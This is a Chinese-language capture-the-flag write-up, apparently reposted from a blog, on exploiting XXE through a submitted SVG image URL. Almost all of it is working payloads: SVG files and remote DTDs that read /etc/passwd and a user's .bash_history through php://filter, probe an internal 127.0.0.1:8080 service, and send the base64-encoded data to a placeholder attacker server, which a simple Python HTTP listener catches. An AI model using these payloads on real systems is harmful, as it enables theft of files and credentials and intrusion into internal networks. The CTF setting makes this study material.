题目要求输入一个 svg图片的链接
由于SVG是基于XML的矢量图,因此可以支持Entity(实体)功能。
测试代码,一个自己服务器上的1.svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE testingxxe [ <!ENTITY xml "POC for Static Entities Allowed">]> <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <text x="20" y="50" width="100" height="100" font-size="10">&xml;</text> </svg>
可以看到我们提交的实体,已经被执行
尝试一下直接读取文件
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE testingxxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <text x="0" y="20" font-size="10">&xxe;</text> </svg>
没有任何回显,所以考虑 Blind XXE
<!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://**server IP**/xxe2.xml"> %sp; %param1; ]> <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red"> <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text> <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/> <flowRoot font-size="15"> <flowRegion> <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/> </flowRegion> <flowDiv> <flowPara>&exfil;</flowPara> </flowDiv> </flowRoot> </svg>
远程个人服务器上的 xxe2.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/home/r1ck/.bash_history"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM ‘http://**server ip **/%data;‘>">
服务器
python -m SimpleHTTPServer 端口号
就可以监听http请求了
<!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://**server ip**/xxe3.xml"> %sp; %param1; ]> <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red"> <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text> <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/> <flowRoot font-size="15"> <flowRegion> <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/> </flowRegion> <flowDiv> <flowPara>&exfil;</flowPara> </flowDiv> </flowRoot> </svg>
远程个人服务器上的 xxe3.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:8080/"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM ‘http://**server ip**/%data;‘>">
只要目标主机8080上有服务,个人服务器上 http监听,就能有回显结果
entity.svg
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE fortiguard [ <!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history"> <!ENTITY % dtd SYSTEM "http://**server ip**/1.dtd"> %dtd; %send; ]> <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200"> <text y="20" font-size="20">&lab;</text> </svg>
远程server上的1.dtd
<!ENTITY % all "<!ENTITY % send SYSTEM ‘http://IP:端口/?%file;‘>" > %all;
Finished!
原文:https://www.cnblogs.com/liqik/p/13140229.html